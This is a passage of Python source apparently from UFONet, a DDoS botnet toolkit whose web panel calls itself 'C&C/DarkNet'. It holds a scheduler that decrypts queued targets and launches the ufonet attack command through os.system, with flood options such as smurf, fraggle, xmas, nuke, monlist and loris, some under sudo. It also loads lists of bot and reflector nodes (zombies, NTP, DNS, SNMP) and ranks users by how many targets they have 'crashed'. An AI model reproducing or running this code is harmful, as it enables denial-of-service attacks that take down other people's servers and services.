  2084. <hr><br>
  2085. <div id="cmdOut"></div>""" + self.pages["/footer"]
  2086. def html_blackholes(self):
  2087. return self.pages["/header"] + """<script language="javascript">
  2088. function Decrypt(){
  2089. blackhole_key=document.getElementById("blackhole_key").value
  2090. if(blackhole_key == "") {
  2091. window.alert("You need to enter a valid key (provided by someone)");
  2092. return
  2093. }else{
  2094. params="blackhole_key="+escape(blackhole_key)
  2095. runCommandX("cmd_decrypt",params)
  2096. document.getElementById("nb1").style.display = "none";
  2097. }
  2098. }
  2099. </script>
  2100. <script language="javascript">
  2101. function RefreshBlackhole(){
  2102. blackholes_source=document.getElementById("blackholes_source").value
  2103. if(blackholes_source == "") {
  2104. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2105. return
  2106. }else{
  2107. params="blackholes_source="+escape(blackholes_source)
  2108. runCommandX("cmd_refresh_blackholes",params)
  2109. document.getElementById("nb1").style.display = "none";
  2110. setTimeout("location.reload()", 10000)
  2111. }
  2112. }
  2113. </script>
  2114. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2115. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2116. <br>
  2117. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  2118. <td>Blackhole/IP:</td>
  2119. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  2120. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  2121. <hr>
  2122. <table cellpadding="5" cellspacing="5"><tr>
  2123. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
  2124. <table cellpading="5" cellspacing="10"><tr><td>
  2125. <form method='GET'>
  2126. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  2127. </td></tr><tr><td>
  2128. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  2129. </form>
  2130. </td></tr></table></td></tr></table>
  2131. <hr><br>
  2132. </center>
  2133. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  2134. <div id="cmdOut"></div>
  2135. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  2136. """ + self.pages["/footer"]
  2137. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  2138. sep = wargames_msg_sep
  2139. flag_ufosyn = None
  2140. flag_spray = None
  2141. flag_smurf = None
  2142. flag_xmas = None
  2143. flag_nuke = None
  2144. flag_tachyon = None
  2145. flag_monlist = None
  2146. flag_fraggle = None
  2147. flag_sniper = None
  2148. flag_ufoack = None
  2149. flag_uforst = None
  2150. flag_droper = None
  2151. flag_overlap = None
  2152. flag_pinger = None
  2153. flag_ufoudp = None
  2154. for job in wargames_engage_list:
  2155. job_t2 = job.rsplit(sep, 1)[0]
  2156. job_creation = job_t2.rsplit(sep, 1)[0]
  2157. job_target = job_t2.rsplit(sep, 1)[1]
  2158. job_estimated = job.rsplit(sep, 1)[1]
  2159. self.decrypt(self.crypto_key, job_estimated)
  2160. if self.decryptedtext:
  2161. job_estimated_dec = self.decryptedtext
  2162. else:
  2163. job_estimated_dec = ""
  2164. self.decryptedtext = ""
  2165. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2166. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2167. try:
  2168. job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
  2169. except:
  2170. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  2171. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  2172. self.decrypt(self.crypto_key, job_target)
  2173. if self.decryptedtext:
  2174. job_target_dec = self.decryptedtext
  2175. else:
  2176. job_target_dec = ""
  2177. self.decryptedtext = ""
  2178. if job_target_dec is not "":
  2179. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  2180. try: # read global army supply (json)
  2181. with open(self.mothership_supplycfg_file) as data_file:
  2182. data = json.load(data_file)
  2183. except:
  2184. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  2185. with open(self.mothership_supplycfg_file, "w") as f:
  2186. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
  2187. with open(self.mothership_supplycfg_file) as data_file:
  2188. data = json.load(data_file)
  2189. self.supply_botnet = data["botnet"]
  2190. self.supply_loic = data["loic"]
  2191. self.supply_loris = data["loris"]
  2192. self.supply_ufosyn = data["ufosyn"]
  2193. self.supply_spray = data["spray"]
  2194. self.supply_smurf = data["smurf"]
  2195. self.supply_xmas = data["xmas"]
  2196. self.supply_nuke = data["nuke"]
  2197. self.supply_tachyon = data["tachyon"]
  2198. self.supply_monlist = data["monlist"]
  2199. self.supply_fraggle = data["fraggle"]
  2200. self.supply_sniper = data["sniper"]
  2201. self.supply_ufoack = data["ufoack"]
  2202. self.supply_uforst = data["uforst"]
  2203. self.supply_droper = data["droper"]
  2204. self.supply_overlap = data["overlap"]
  2205. self.supply_pinger = data["pinger"]
  2206. self.supply_ufoudp = data["ufoudp"]
  2207. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  2208. print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
  2209. cmd = ""
  2210. nonroot_cmd = python_version + " -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2211. root_cmd = "sudo "+ python_version+" -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2212. if int(self.supply_fraggle) > 0:
  2213. cmd += "--fraggle " +str(self.supply_fraggle)+ " "
  2214. flag_fraggle = True
  2215. if int(self.supply_sniper) > 0:
  2216. cmd += "--sniper " +str(self.supply_sniper)+ " "
  2217. flag_sniper = True
  2218. if int(self.supply_ufoack) > 0:
  2219. cmd += "--ufoack " +str(self.supply_ufoack)+ " "
  2220. flag_ufoack = True
  2221. if int(self.supply_uforst) > 0:
  2222. cmd += "--uforst " +str(self.supply_uforst)+ " "
  2223. flag_uforst = True
  2224. if int(self.supply_droper) > 0:
  2225. cmd += "--droper " +str(self.supply_droper)+ " "
  2226. flag_droper = True
  2227. if int(self.supply_overlap) > 0:
  2228. cmd += "--overlap " +str(self.supply_overlap)+ " "
  2229. flag_overlap = True
  2230. if int(self.supply_pinger) > 0:
  2231. cmd += "--pinger " +str(self.supply_pinger)+ " "
  2232. flag_pinger = True
  2233. if int(self.supply_ufoudp) > 0:
  2234. cmd += "--ufoudp " +str(self.supply_ufoudp)+ " "
  2235. flag_ufoudp = True
  2236. if int(self.supply_monlist) > 0:
  2237. cmd += "--monlist " +str(self.supply_monlist)+ " "
  2238. flag_monlist = True
  2239. if int(self.supply_tachyon) > 0:
  2240. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  2241. flag_tachyon = True
  2242. if int(self.supply_nuke) > 0:
  2243. cmd += "--nuke " +str(self.supply_nuke)+ " "
  2244. flag_nuke = True
  2245. if int(self.supply_xmas) > 0:
  2246. cmd += "--xmas " +str(self.supply_xmas)+ " "
  2247. flag_xmas = True
  2248. if int(self.supply_smurf) > 0:
  2249. cmd += "--smurf " +str(self.supply_smurf)+ " "
  2250. flag_smurf = True
  2251. if int(self.supply_spray) > 0:
  2252. cmd += "--spray " +str(self.supply_spray)+ " "
  2253. flag_spray = True
  2254. if int(self.supply_ufosyn) > 0:
  2255. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  2256. flag_ufosyn = True
  2257. if int(self.supply_loris) > 0:
  2258. cmd += "--loris " +str(self.supply_loris)+ " "
  2259. if int(self.supply_loic) > 0:
  2260. cmd += "--loic " +str(self.supply_loic)+ " "
  2261. if not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp and not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2262. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2263. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  2264. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  2265. runcmd = cmd + " "
  2266. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  2267. print("[Info] [Wargames] Running command:", runcmd, "\n")
  2268. os.system(runcmd) # launch it!
  2269. if "!!!" in job: # remove it from queue (unjob)
  2270. f = open(self.wargames_file, "r")
  2271. ls = f.readlines()
  2272. f.close()
  2273. f = open(self.wargames_file, "w")
  2274. for l in ls:
  2275. if str(l) != str(job):
  2276. f.write(l)
  2277. else:
  2278. job = re.sub('[!!!]', '', job)
  2279. f.write(job)
  2280. f.close()
  2281. def extract_ranking_table(self):
  2282. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  2283. ls = f.readlines()
  2284. f.close()
  2285. if not ls: # not data on grid.txt
  2286. return
  2287. ranking_items={}
  2288. ranking_key = crypto_key
  2289. nodec_text = "Anonymous"
  2290. nodec_num = 0
  2291. self.ranking_grid_total = 0
  2292. try:
  2293. for j in ls:
  2294. if grid_msg_sep in j:
  2295. self.ranking_grid_total = self.ranking_grid_total + 1
  2296. m = j.split(grid_msg_sep)
  2297. ranking_nickname = m[0] # nickname
  2298. self.decrypt(ranking_key, ranking_nickname)
  2299. if self.decryptedtext:
  2300. ranking_nickname = str(self.decryptedtext)
  2301. else:
  2302. ranking_nickname = nodec_text
  2303. if ranking_nickname == "Anonymous":
  2304. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  2305. self.decryptedtext = "" # clean decryptedtext buffer
  2306. ranking_ranking = m[1] # ranking
  2307. self.decrypt(ranking_key, ranking_ranking)
  2308. if self.decryptedtext:
  2309. try:
  2310. ranking_ranking = int(self.decryptedtext)
  2311. except:
  2312. ranking_ranking = nodec_num
  2313. else:
  2314. ranking_ranking = nodec_num
  2315. ranking_items[ranking_nickname] = ranking_ranking
  2316. except:
  2317. ranking_nickname = "Anonymous"
  2318. ranking_ranking = 0
  2319. ranking_items[ranking_nickname] = ranking_ranking
  2320. self.top_rookie = []
  2321. self.top_mercenary = []
  2322. self.top_bandit = []
  2323. self.top_ufommander = []
  2324. self.top_ufoleet = []
  2325. for k, v in ranking_items.items():
  2326. if v is 0: # not any data (or decryption allowed) on grid so discard
  2327. pass
  2328. if v is 1: # add this player as a rookie
  2329. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  2330. self.top_rookie.append(k)
  2331. elif v is 2: # add this player as a mercenary
  2332. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  2333. self.top_mercenary.append(k)
  2334. elif v is 3: # add this player as a bandit
  2335. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  2336. self.top_bandit.append(k)
  2337. elif v is 4: # add this player as a ufommander
  2338. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  2339. self.top_ufommander.append(k)
  2340. elif v is 5: # add this player as a ufoleet
  2341. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  2342. self.top_ufoleet.append(k)
  2343. else: # add this player as unknown
  2344. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  2345. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  2346. for p in top5: # extract best players
  2347. if self.ranking_top5_player1 == "Anonymous":
  2348. self.ranking_top5_player1 = p
  2349. elif self.ranking_top5_player2 == "Anonymous":
  2350. self.ranking_top5_player2 = p
  2351. elif self.ranking_top5_player3 == "Anonymous":
  2352. self.ranking_top5_player3 = p
  2353. elif self.ranking_top5_player4 == "Anonymous":
  2354. self.ranking_top5_player4 = p
  2355. elif self.ranking_top5_player5 == "Anonymous":
  2356. self.ranking_top5_player5 = p
  2357. if self.ranking == "Rookie":
  2358. shuffle(self.top_rookie) # shuffle for different results
  2359. top3 = self.top_rookie[:3]
  2360. elif self.ranking == "Mercenary":
  2361. shuffle(self.top_mercenary)
  2362. top3 = self.top_mercenary[:3]
  2363. elif self.ranking == "Bandit":
  2364. shuffle(self.top_bandit)
  2365. top3 = self.top_bandit[:3]
  2366. elif self.ranking == "UFOmmander!":
  2367. shuffle(self.top_ufommander)
  2368. top3 = self.top_ufommander[:3]
  2369. elif self.ranking == "UFOl33t!":
  2370. shuffle(self.top_ufoleet)
  2371. top3 = self.top_ufoleet[:3]
  2372. for p in top3: # extract similar player
  2373. if self.ranking_similar_player1 == "Anonymous":
  2374. self.ranking_similar_player1 = p
  2375. elif self.ranking_similar_player2 == "Anonymous":
  2376. self.ranking_similar_player2 = p
  2377. elif self.ranking_similar_player3 == "Anonymous":
  2378. self.ranking_similar_player3 = p
  2379. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  2380. shuffle(top1) # shuffle for different results
  2381. top1 = random.choice(top1).strip() # extract random player
  2382. self.ranking_top1_player1 = top1
  2383. def __init__(self):
  2384. self.crypto_key = crypto_key # set default symmetric crypto key
  2385. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  2386. self.board_file = 'data/board.txt' # set source path to retrieve board warning message
  2387. self.grid_file = 'data/grid.txt' # set source path to retrieve grid
  2388. self.board_warning = "" # set initial (str) board warning message
  2389. self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
  2390. self.links_file = 'data/links.txt' # set source path to retrieve links
  2391. self.streams_file = 'data/streams.txt' # set source path to retrieve streams
  2392. self.games_file = 'data/games.txt' # set source path to retrieve games
  2393. self.globalnet_file = 'data/globalnet.txt' # set source path to retrieve Global.Net
  2394. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  2395. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  2396. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  2397. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  2398. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  2399. self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps'
  2400. self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dns'
  2401. self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmps'
  2402. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  2403. self.news = "data/news.txt" # set source path to retrieve server news
  2404. self.missions = "data/missions.txt" # set source path to retrieve server missions
  2405. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  2406. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  2407. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  2408. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  2409. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  2410. self.ranking = "Rookie Star" # set starting rank
  2411. self.decryptedtext = "" # set buffer for decryption
  2412. self.encryptedtext = "" # set buffer for encryption
  2413. self.blackholes = "data/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  2414. self.blackhole = default_blackhole # set default blackhole
  2415. self.blackholes_status = "Not connected!" # set default status for blackholes
  2416. self.blackholes_status_color = "red" # set default status color for blackholes
  2417. self.referer = 'http://127.0.0.1/'
  2418. self.mothershipname = "core/txt/shipname.txt"
  2419. self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
  2420. self.favicon_img = open("core/images/favicon.txt").read()
  2421. self.mothership_img = open("core/images/mothership.txt").read()
  2422. self.commander_img = open("core/images/commander.txt").read()
  2423. self.board_img = open("core/images/board.txt").read()
  2424. self.aliens_img = open("core/images/aliens.txt").read()
  2425. self.alien1_img = open("core/images/aliens/alien1.txt").read()
  2426. self.alien2_img = open("core/images/aliens/alien2.txt").read()
  2427. self.alien3_img = open("core/images/aliens/alien3.txt").read()
  2428. self.alien4_img = open("core/images/aliens/alien4.txt").read()
  2429. self.alien5_img = open("core/images/aliens/alien5.txt").read()
  2430. self.alien6_img = open("core/images/aliens/alien6.txt").read()
  2431. self.alien7_img = open("core/images/aliens/alien7.txt").read()
  2432. self.alien8_img = open("core/images/aliens/alien8.txt").read()
  2433. self.alien9_img = open("core/images/aliens/alien9.txt").read()
  2434. self.alien10_img = open("core/images/aliens/alien10.txt").read()
  2435. self.alien11_img = open("core/images/aliens/alien11.txt").read()
  2436. self.alien12_img = open("core/images/aliens/alien12.txt").read()
  2437. self.alien13_img = open("core/images/aliens/alien13.txt").read()
  2438. self.ranking_grid_total = 0
  2439. self.ranking_grid_rookie = 0
  2440. self.ranking_grid_mercenary = 0
  2441. self.ranking_grid_bandit = 0
  2442. self.ranking_grid_ufommander = 0
  2443. self.ranking_grid_ufoleet = 0
  2444. self.ranking_grid_unknown = 0
  2445. self.ranking_top5_player1 = "Anonymous"
  2446. self.ranking_top5_player2 = "Anonymous"
  2447. self.ranking_top5_player3 = "Anonymous"
  2448. self.ranking_top5_player4 = "Anonymous"
  2449. self.ranking_top5_player5 = "Anonymous"
  2450. self.ranking_similar_player1 = "Anonymous"
  2451. self.ranking_similar_player2 = "Anonymous"
  2452. self.ranking_similar_player3 = "Anonymous"
  2453. self.ranking_top1_player1 = "Anonymous"
  2454. f = open(self.mothershipname) # extract ship name
  2455. self.mothership_id = f.read()
  2456. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  2457. f.close()
  2458. f = open(self.release_date_file) # extract release creation datetime
  2459. self.release_date = f.read()
  2460. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  2461. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  2462. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  2463. self.trans_5C = self.trans_5C.encode("latin-1")
  2464. self.trans_36 = self.trans_36.encode("latin-1")
  2465. f.close()
  2466. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  2467. self.blackholes_text = f.read()
  2468. f.close()
  2469. f = open(self.blackholes)
  2470. self.blackholes_block = f.readlines()
  2471. f.close()
  2472. self.list_blackholes = []
  2473. for b in self.blackholes_block:
  2474. self.list_blackholes.append(b)
  2475. self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.dat')) # extract nodes.dat datetime
  2476. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  2477. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  2478. else:
  2479. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  2480. f = open(self.news) # double extract news
  2481. self.news_text = f.read()
  2482. f.close()
  2483. f = open(self.news)
  2484. self.news_block = f.readlines()
  2485. f.close()
  2486. self.list_news = []
  2487. for n in self.news_block:
  2488. self.list_news.append(n)
  2489. self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
  2490. if self.news_datetime == self.release_date_file: # never connected to feeds
  2491. self.news_status_color = "red" # set status color for news to 'red'
  2492. else:
  2493. self.news_status_color = "green" # set status color for news to 'green'
  2494. f = open(self.board_file) # double extract board
  2495. self.moderator_text = f.read()
  2496. f.close()
  2497. f = open(self.board_file)
  2498. self.moderator_block = f.readlines()
  2499. f.close()
  2500. self.list_moderator = []
  2501. for n in self.moderator_block:
  2502. self.list_moderator.append(n)
  2503. f = open(self.grid_file) # double grid board
  2504. self.grid_text = f.read()
  2505. self.ranking_text = f.read() # ranking data is extracted from grid
  2506. f.close()
  2507. f = open(self.grid_file)
  2508. self.grid_block = f.readlines()
  2509. f.close()
  2510. self.list_grid = []
  2511. for n in self.grid_block:
  2512. self.list_grid.append(n)
  2513. self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
  2514. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  2515. self.ranking_status_color = "red" # set status color for ranking to 'red'
  2516. else:
  2517. self.ranking_status_color = "green" # set status color for ranking to 'green'
  2518. f = open(self.wargames_file) # double wargames board
  2519. self.wargames_text = f.read()
  2520. f.close()
  2521. f = open(self.wargames_file)
  2522. self.wargames_block = f.readlines()
  2523. f.close()
  2524. self.list_wargames = []
  2525. for n in self.wargames_block:
  2526. self.list_wargames.append(n)
  2527. f = open(self.links_file) # double links extraction
  2528. self.links_text = f.read()
  2529. f.close()
  2530. f = open(self.links_file)
  2531. self.links_block = f.readlines()
  2532. f.close()
  2533. self.list_links = []
  2534. for n in self.links_block:
  2535. self.list_links.append(n)
  2536. f = open(self.globalnet_file) # double globalnet extraction
  2537. self.globalnet_text = f.read()
  2538. f.close()
  2539. f = open(self.globalnet_file)
  2540. self.globalnet_block = f.readlines()
  2541. f.close()
  2542. self.list_globalnet = []
  2543. for n in self.globalnet_block:
  2544. self.list_globalnet.append(n)
  2545. f = open(self.streams_file) # double streams extraction
  2546. self.streams_text = f.read()
  2547. f.close()
  2548. f = open(self.streams_file)
  2549. self.streams_block = f.readlines()
  2550. f.close()
  2551. self.list_streams = []
  2552. for n in self.streams_block:
  2553. self.list_streams.append(n)
  2554. f = open(self.missions) # double extract missions
  2555. self.missions_text = f.read()
  2556. f.close()
  2557. f = open(self.missions)
  2558. self.missions_block = f.readlines()
  2559. f.close()
  2560. self.list_missions = []
  2561. for m in self.missions_block:
  2562. self.list_missions.append(m)
  2563. self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
  2564. if self.missions_datetime == self.release_date_file: # never connected to feeds
  2565. self.missions_status_color = "red" # set status color for missions to 'red'
  2566. else:
  2567. self.missions_status_color = "green" # set status color for missions to 'green'
  2568. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  2569. data = json.load(stats_json_file)
  2570. stats_json_file.close()
  2571. self.abductor = Abductor(self) # call abductor for data size conversor
  2572. self.aflying = data["flying"]
  2573. self.ascanner = data["scanner"]
  2574. self.atransferred = data["transferred"]
  2575. self.amax_chargo = data["max_chargo"]
  2576. self.amissions = data["missions"]
  2577. self.acompleted = data["completed"]
  2578. self.aloic = data["loic"]
  2579. self.aloris = data["loris"]
  2580. self.aufosyn = data["ufosyn"]
  2581. self.aspray = data["spray"]
  2582. self.asmurf = data["smurf"]
  2583. self.axmas = data["xmas"]
  2584. self.anuke = data["nuke"]
  2585. self.atachyon = data["tachyon"]
  2586. self.amonlist = data["monlist"]
  2587. self.afraggle = data["fraggle"]
  2588. self.asniper = data["sniper"]
  2589. self.aufoack = data["ufoack"]
  2590. self.auforst = data["uforst"]
  2591. self.adroper = data["droper"]
  2592. self.aoverlap = data["overlap"]
  2593. self.apinger = data["pinger"]
  2594. self.aufoudp = data["ufoudp"]
  2595. self.tcrashed = data["crashed"]
  2596. if int(self.acompleted) > 0: # check for attacks completed
  2597. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  2598. else:
  2599. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  2600. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  2601. self.ranking = "Rookie"
  2602. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  2603. self.ranking = "Mercenary"
  2604. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  2605. self.ranking = "Bandit"
  2606. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  2607. self.ranking = "UFOmmander!"
  2608. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  2609. self.ranking = "UFOl33t!"
  2610. f = open(self.zombies_file)
  2611. self.zombies = f.readlines()
  2612. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  2613. self.list_zombies = []
  2614. for zombie in self.zombies:
  2615. t = urlparse(zombie)
  2616. name_zombie = t.netloc
  2617. if "www." in name_zombie:
  2618. name_zombie = name_zombie.replace("www.","")
  2619. self.list_zombies.append(name_zombie)
  2620. self.num_zombies = str(len(self.zombies))
  2621. f.close()
  2622. f = open(self.aliens_file)
  2623. self.aliens = f.readlines()
  2624. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  2625. self.list_aliens = []
  2626. for alien in self.aliens:
  2627. t = urlparse(alien)
  2628. name_alien = t.netloc
  2629. if "www." in name_alien:
  2630. name_alien = name_alien.replace("www.","")
  2631. self.list_aliens.append(name_alien)
  2632. self.num_aliens = str(len(self.aliens))
  2633. f.close()
  2634. f = open(self.droids_file)
  2635. self.droids = f.readlines()
  2636. self.droids = [droid.replace('\n', '') for droid in self.droids]
  2637. self.list_droids = []
  2638. for droid in self.droids:
  2639. t = urlparse(droid)
  2640. name_droid = t.netloc
  2641. if "www." in name_droid:
  2642. name_droid = name_droid.replace("www.","")
  2643. self.list_droids.append(name_droid)
  2644. self.num_droids = str(len(self.droids))
  2645. f.close()
  2646. f = open(self.ucavs_file)
  2647. self.ucavs = f.readlines()
  2648. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  2649. self.list_ucavs = []
  2650. for ucav in self.ucavs:
  2651. t = urlparse(ucav)
  2652. name_ucav = t.netloc
  2653. if "www." in name_ucav:
  2654. name_ucav = name_ucav.replace("www.","")
  2655. self.list_ucavs.append(name_ucav)
  2656. self.num_ucavs = str(len(self.ucavs))
  2657. f.close()
  2658. f = open(self.rpcs_file)
  2659. self.rpcs = f.readlines()
  2660. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  2661. self.list_rpcs = []
  2662. for rpc in self.rpcs:
  2663. t = urlparse(rpc)
  2664. name_rpc = t.netloc
  2665. if "www." in name_rpc:
  2666. name_rpc = name_rpc.replace("www.","")
  2667. self.list_rpcs.append(name_rpc)
  2668. self.num_rpcs = str(len(self.rpcs))
  2669. f.close()
  2670. f = open(self.ntps_file)
  2671. self.ntps = f.readlines()
  2672. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  2673. self.list_ntps = []
  2674. for ntp in self.ntps:
  2675. t = urlparse(ntp)
  2676. name_ntp = t.netloc
  2677. if "www." in name_ntp:
  2678. name_ntp = name_ntp.replace("www.","")
  2679. self.list_ntps.append(name_ntp)
  2680. self.num_ntps = str(len(self.ntps))
  2681. f.close()
  2682. f = open(self.dnss_file)
  2683. self.dnss = f.readlines()
  2684. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  2685. self.list_dnss = []
  2686. for dns in self.dnss:
  2687. t = urlparse(dns)
  2688. name_dns = t.netloc
  2689. if "www." in name_dns:
  2690. name_dns = name_dns.replace("www.","")
  2691. self.list_dnss.append(name_dns)
  2692. self.num_dnss = str(len(self.dnss))
  2693. f.close()
  2694. f = open(self.snmps_file)
  2695. self.snmps = f.readlines()
  2696. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  2697. self.list_snmps = []
  2698. for snmp in self.snmps:
  2699. t = urlparse(snmp)
  2700. name_snmp = t.netloc
  2701. if "www." in name_snmp:
  2702. name_snmp = name_snmp.replace("www.","")
  2703. self.list_snmps.append(name_snmp)
  2704. self.num_snmps = str(len(self.snmps))
  2705. f.close()
  2706. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_ntps) + int(self.num_dnss) + int(self.num_snmps))
  2707. f = open(self.wargames_file, "r")
  2708. ls = f.readlines()
  2709. f.close()
  2710. self.supply_wargames = 0
  2711. self.wargames_engage_list = []
  2712. for l in ls:
  2713. if "!!!" in l:
  2714. self.wargames_engage_list.append(l)
  2715. self.supply_wargames = self.supply_wargames + 1
  2716. if self.supply_wargames > 0:
  2717. if self.supply_wargames == 1:
  2718. c_supply = "wargame"
  2719. else:
  2720. c_supply = "wargames"
  2721. self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
  2722. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  2723. else:
  2724. self.current_tasks = ""
  2725. self.options = UFONetOptions()
  2726. self.pages = {}
  2727. self.pages["/header"] = """<!DOCTYPE html><html>
  2728. <head>
  2729. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  2730. <meta name="author" content="psy">
  2731. <meta name="robots" content="noindex, nofollow">
  2732. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  2733. <title>UFONet - [ C&C/DarkNet ]</title>
  2734. <script language="javascript" src="/lib.js"></script>
  2735. <script language="javascript" src="js/stars.js"></script>
  2736. <style>
